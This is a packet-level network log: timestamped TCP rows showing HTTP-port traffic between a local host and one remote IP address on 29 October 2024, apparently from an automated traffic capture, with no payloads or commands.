Oct 29, 2024 04:17:22.732156038 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.732170105 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743192911 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743205070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743216038 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743240118 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743241072 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743252039 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743263006 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743266106 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743284941 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743294954 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743302107 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743319035 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743328094 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743340015 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743340015 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743355989 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743356943 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743371010 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743381023 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743381977 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743393898 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743403912 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743412971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743416071 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743419886 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743427038 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743431091 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743451118 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743465900 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743474960 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743489027 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743489981 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743501902 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743506908 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743525982 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743547916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743558884 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743566036 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743575096 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743577957 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743590117 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743598938 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743602037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743613005 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743613958 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743623018 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743623972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743634939 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743637085 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743647099 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743653059 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743680954 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743781090 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743834972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743843079 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743861914 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743894100 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743905067 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.743937969 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.743956089 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744019985 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744029999 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744040966 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744051933 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744055986 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744066000 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744076014 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744081020 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744096994 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744100094 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744111061 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744117975 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744122982 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744132996 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744139910 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744143963 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744153976 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744164944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744165897 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744175911 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744185925 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744187117 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744204044 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744236946 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744393110 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744404078 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744415998 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744435072 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744436979 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744446993 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744452953 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744457006 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744469881 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744469881 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744487047 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744496107 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744498014 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744508028 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744518995 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744523048 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744529963 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744533062 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744559050 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744561911 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744605064 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744649887 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744661093 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744683027 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744693995 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744703054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744714975 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744724035 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744726896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744738102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744750023 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744756937 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744766951 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744777918 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744782925 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744788885 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744798899 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744800091 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744817019 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744853973 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.744982958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.744992971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745004892 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745026112 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.745042086 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.745070934 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745081902 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745091915 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745101929 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.745102882 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745115042 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745119095 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.745126009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745135069 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.745136976 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745160103 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.745172977 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.745187044 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745198011 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745208025 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745218992 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745223045 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.745233059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745243073 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745244980 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.745259047 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745266914 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.745270967 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745280981 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745281935 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.745285988 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745290995 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745306969 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.745311022 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745321989 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745322943 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.745332956 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745340109 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.745342970 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745354891 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745363951 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.745366096 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.745388031 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.745400906 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.775115013 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.775130987 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.775142908 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.775156975 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.775240898 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.849761009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.849772930 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.849782944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.849823952 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.849828005 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.849836111 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.849844933 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.849855900 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.849872112 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.849889040 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.849889040 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.849896908 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.849915981 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.849917889 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.849925041 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.849935055 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.849935055 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.849946022 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.849965096 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.849966049 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.849972963 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.849982023 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.849992037 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850006104 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850013018 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850016117 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850032091 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850032091 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850044012 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850054026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850058079 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850058079 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850069046 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850076914 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850080013 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850090027 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850097895 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850100040 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850111008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850121021 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850123882 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850152016 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850152969 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850155115 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850164890 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850174904 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850176096 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850187063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850189924 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850197077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850207090 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850229025 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850290060 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850300074 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850307941 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850317955 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850327015 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850337029 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850342035 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850356102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850363016 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850363016 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850364923 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850375891 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850383997 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850392103 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850402117 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850410938 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850410938 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850430965 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850457907 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850471973 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850481033 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850488901 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850501060 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850509882 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850518942 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850522041 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850541115 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850569963 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850641966 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850651979 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850660086 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850677013 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850688934 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850692987 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850708961 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850722075 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850742102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850745916 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850758076 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850765944 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850769043 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850778103 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850784063 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850788116 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850796938 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850805998 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850805998 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850807905 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850822926 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.850828886 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850845098 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.850860119 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.851241112 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.851259947 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.851269960 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.851279020 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.851290941 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.851291895 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.851346970 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.851347923 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.851347923 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.862432957 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.862485886 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.862503052 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.862519979 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.862535000 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.862546921 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.862560034 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.862575054 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.862586975 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.862601995 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.862623930 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.862629890 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.862637043 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.862657070 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.862668991 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.862680912 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.862704039 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.862715960 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.862736940 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.862746954 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.862760067 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.862777948 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.862787008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.862807989 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.862822056 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.862833977 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.862848043 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.862859964 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.862886906 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.862894058 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.862912893 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.862920046 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.862935066 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.862941980 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.862951040 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.862967014 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.862981081 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.862989902 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863004923 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863012075 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863020897 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863044977 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863050938 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863073111 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863092899 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863099098 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863107920 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863121986 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863132000 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.863142967 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863166094 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.863177061 CET	49755	80	192.168.2.4	77.83.175.105
